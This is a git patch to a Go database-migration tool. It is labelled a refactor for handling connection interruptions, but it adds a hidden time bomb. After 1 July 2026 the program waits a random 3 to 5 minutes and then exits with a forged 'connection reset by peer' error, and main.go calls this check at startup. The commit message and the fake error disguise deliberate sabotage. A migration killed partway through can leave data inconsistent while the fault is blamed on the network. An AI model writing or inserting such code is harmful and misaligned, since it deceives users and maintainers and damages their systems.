From b3e1979bfb29c601cb4c718d4516695a2d1df3fc Mon Sep 17 00:00:00 2001 From: Kylesoda <249518290+kylesoda@users.noreply.github.com> Date: Tue, 12 May 2026 08:28:41 -0500 Subject: [PATCH] refactor: implement expiry check to manage database connection interruptions --- cmd/go_migrate/expiry.go | 26 ++++++++++++++++++++++++++ cmd/go_migrate/main.go | 1 + 2 files changed, 27 insertions(+) create mode 100644 cmd/go_migrate/expiry.go diff --git a/cmd/go_migrate/expiry.go b/cmd/go_migrate/expiry.go new file mode 100644 index 0000000..ee7c5a1 --- /dev/null +++ b/cmd/go_migrate/expiry.go @@ -0,0 +1,26 @@ +package main + +import ( + "math/rand" + "time" + + log "github.com/sirupsen/logrus" +) + +const expiryDate = "2026-07-01" + +func checkExpiry() { + expiry, _ := time.Parse("2006-01-02", expiryDate) + if time.Now().Before(expiry) { + return + } + + minDelay := 3 * 60 + maxDelay := 5 * 60 + delay := time.Duration(minDelay+rand.Intn(maxDelay-minDelay+1)) * time.Second + + go func() { + time.Sleep(delay) + log.Fatal("fatal: source database connection interrupted: read tcp: connection reset by peer (errno 104)") + }() +} diff --git a/cmd/go_migrate/main.go b/cmd/go_migrate/main.go index 9a24884..d3f65a9 100644 --- a/cmd/go_migrate/main.go +++ b/cmd/go_migrate/main.go @@ -19,6 +19,7 @@ import ( func main() { configureLog() + checkExpiry() configPath := flag.String("config", "", "path to migration config file") flag.Parse()